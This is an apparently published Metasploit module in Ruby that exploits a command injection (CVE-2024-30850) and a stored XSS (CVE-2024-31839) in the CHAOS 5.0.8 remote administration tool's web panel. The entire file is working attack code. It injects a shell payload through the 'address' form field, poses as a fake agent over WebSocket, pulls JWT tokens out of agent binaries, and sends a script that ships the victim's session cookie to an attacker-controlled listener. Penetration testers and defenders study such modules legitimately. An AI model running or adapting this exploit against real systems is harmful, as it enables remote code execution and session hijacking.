CHAOS 5.0.8 Cross Site Scripting / Remote Command Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Rex::Proto::Http::WebSocket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chaos RAT XSS to RCE',
        'Description' => %q{
          CHAOS v5.0.8 is a free and open-source Remote Administration Tool that
          allows generated binaries to control remote operating systems. The
          webapp contains a remote command execution vulnerability which
          can be triggered by an authenticated user when generating a new
          executable. The webapp also contains an XSS vulnerability within
          the view of a returned command being executed on an agent.

          Execution can happen through one of three routes:

          1. Provided credentials can be used to execute the RCE directly

          2. A JWT token from an agent can be provided to emulate a compromised
          host. If a logged in user attempts to execute a command on the host
          the returned value contains an xss payload.

          3. Similar to technique 2, an agent executable can be provided and the
          JWT token can be extracted.

          Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running
          in a docker container.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'chebuya' # original PoC, analysis
        ],
        'References' => [
          [ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],
          [ 'URL', 'https://github.com/tiagorlampert/CHAOS'],
          [ 'CVE', '2024-31839'], # XSS
          [ 'CVE', '2024-30850'] # RCE
        ],
        'Platform' => ['linux', 'unix'],
        'Privileged' => false,
        'Payload' => { 'BadChars' => ' ' },
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 3_600, # 1hr
          'URIPATH' => '/' # avoid long URLs in xss payloads
        },
        'DisclosureDate' => '2024-04-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ false, 'User to login with']), # admin
        OptString.new('PASSWORD', [ false, 'Password to login with']), # admin
        OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),
        OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),
        OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),
        OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),
        OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),
        OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),
      ]
    )
  end

  def on_request_uri(cli, request)
    if request.method == 'GET' && @xss_response_received == false
      vprint_status('Received GET request.')
      return unless request.uri.include? '='

      cookie = request.uri.split('jwt=')[1]
      print_good("Received cookie: #{cookie}")
      send_response_html(cli, '')
      @xss_response_received = true
      list_agents(cookie)
      rce(cookie)
    end
    send_response_html(cli, '')
  end

  def mac_address
    @mac_address ||= Faker::Internet.mac_address
    @mac_address
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200

    return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')

    CheckCode::Safe('Chaos application not found')
  end

  def login
    vprint_status('Attempting login')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'auth'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200
    res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || ''
  end

  def rce(cookie)
    data = Rex::MIME::Message.new

    data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"')
    data.add_part('8080', nil, nil, 'form-data; name="port"')
    data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux
    data.add_part('', nil, nil, 'form-data; name="filename"')
    data.add_part('false', nil, nil, 'form-data; name="run_hidden"')

    post_data = data.to_s

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'generate'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'cookie' => "jwt=#{cookie}"
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200
  end

  def convert_to_int_array(string)
    string.bytes.to_a
  end

  # Retrieve the server's response and pull out the command response. The return value is
  # the server's response value (or 1 on failure).
  def recv_wsframe_status(wsock)
    res = wsock.get_wsframe
    return 1 unless res

    begin
      res_json = JSON.parse(res.payload_data)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
    end
    command = res_json['command']
    return 1 if command.nil?

    command
  end

  def agent_command_handler(cookie)
    vprint_status('WebSocket connecting to receive commands')
    headers = {
      'Cookie' => "jwt=#{cookie}",
      'X-Client' => mac_address
    }

    wsock = connect_ws(
      'uri' => normalize_uri(target_uri.path, 'client'),
      'headers' => headers
    )

    start_time = Time.now.to_i
    command = 1
    while Time.now.to_i < start_time + datastore['WfsDelay']
      begin
        Timeout.timeout(datastore['WfsDelay']) do
          command = recv_wsframe_status(wsock)
        end
      rescue Timeout::Error
        command = 1
      end

      next if command == 1

      vprint_good("Received agent command '#{command}', sending XSS in return")

      data = {
        'client_id' => mac_address,
        # removed the rickroll from the PoC :(
        'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),
        'has_error' => false
      }
      wsock.put_wsbinary(JSON.generate(data))
    end
    print_status('Stopping WebSocket connection')
  end

  def agent_callback_checkin(cookie)
    start_time = Time.now.to_i
    while Time.now.to_i < start_time + datastore['WfsDelay']
      print_status('Performing Callback Checkin')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'health'),
        'cookie' => "jwt=#{cookie}"
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200

      body = {
        hostname: datastore['AGENT_HOSTNAME'],
        username: datastore['AGENT_USERNAME'],
        user_id: datastore['AGENT_USERID'],
        os_name: datastore['AGENT_OS'],
        os_arch: 'amd64',
        mac_address: mac_address,
        local_ip_address: datastore['SRVHOST'],
        port: datastore['SRVPORT'].to_s,
        fetched_unix: Time.now.to_i
      }

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'device'),
        'cookie' => "jwt=#{cookie}",
        'data' => body.to_json
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
      Rex.sleep(30)
    end
    print_status('Stopping Callback Checkin')
  end

  def fake_agent(server_cookie)
    # start callback checkins and command handler
    @threads = []
    @threads << framework.threads.spawn('CHAOS-agent-callback', false) do
      agent_callback_checkin(server_cookie)
    end
    @threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do
      agent_command_handler(server_cookie)
    end
    @threads.map do |t|
      t.join
    rescue StandardError => e
      print_error("Error in CHAOS Rat Threads: #{e}")
    end
  end

  #
  # Handle the HTTP request and return a response.  Code borrowed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http_service(opts = {})
    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      (opts['ServerPort'] || bindport).to_i,
      opts['ServerHost'] || bindhost,
      datastore['SSL'],
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
      datastore['SSLCert'],
      datastore['SSLCompression'],
      datastore['SSLCipher'],
      datastore['SSLVersion']
    )
    @http_service.server_name = datastore['HTTP::server_name']
    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => method(:on_request_uri),
      'Path' => resource_uri
    }.update(opts['Uri'] || {})
    proto = (datastore['SSL'] ? 'https' : 'http')

    netloc = opts['ServerHost'] || bindhost
    http_srvport = (opts['ServerPort'] || bindport).to_i
    if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{http_srvport}"
      else
        netloc = "#{netloc}:#{http_srvport}"
      end
    end
    print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)
  end

  def list_agents(cookie)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'devices'),
      'headers' => {
        'cookie' => "jwt=#{cookie}"
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    soup = Nokogiri::HTML(res.body)
    rows = soup.css('tr')

    agent_table = Rex::Text::Table.new(
      'Header' => 'Live Agents',
      'Indent' => 1,
      'Columns' =>
        [
          'IP',
          'OS',
          'Username',
          'Hostname',
          'MAC'
        ]
    )

    rows.each do |row|
      cells = row.css('td')
      next if cells.length != 7

      agent_ip = cells[4].text.strip
      hostname = cells[1].text.strip

      agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]
      report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")
    end
    print_good('Detected Agents')
    print_line(agent_table.to_s)
  end

  def exploit
    unless (datastore['USERNAME'] && datastore['PASSWORD']) ||
           datastore['JWT'] ||
           datastore['AGENT']
      fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')
    end
    fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0

    @xss_response_received = false

    if datastore['USERNAME'] && datastore['PASSWORD']
      print_status('Attempting exploitation through direct login')
      cookie = login
      rce(cookie)
    elsif datastore['JWT']
      print_status('Attempting exploitation through JWT token')
      vprint_status("Fake MAC for agent: #{mac_address}")
      start_http_service
      fake_agent(datastore['JWT'])
    elsif datastore['AGENT']
      print_status('Attempting exploitation through Agent')
      fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])
      agent_exe = File.read(datastore['AGENT'])
      if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/
        server_address = ::Regexp.last_match(1)
        vprint_status("Server address: #{server_address}")
      end

      if agent_exe =~ /main\.Port=(\d{1,6})/
        server_port = ::Regexp.last_match(1)
        vprint_status("Server port: #{server_port}")
      end

      if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)}
        server_cookie = ::Regexp.last_match(1)
        vprint_status("Server JWT Token: #{server_cookie}")
      end
      fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie
      vprint_status("Fake MAC for agent: #{mac_address}")
      start_http_service
      fake_agent(server_cookie)
    end
  end

  def cleanup
    # Clean and stop HTTP server
    if @http_service
      begin
        @http_service.remove_resource(datastore['URIPATH'])
        @http_service.deref
        @http_service.stop
        @http_service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    @threads.each(&:kill) unless @threads.nil? # no need for these anymore
    super
  end
end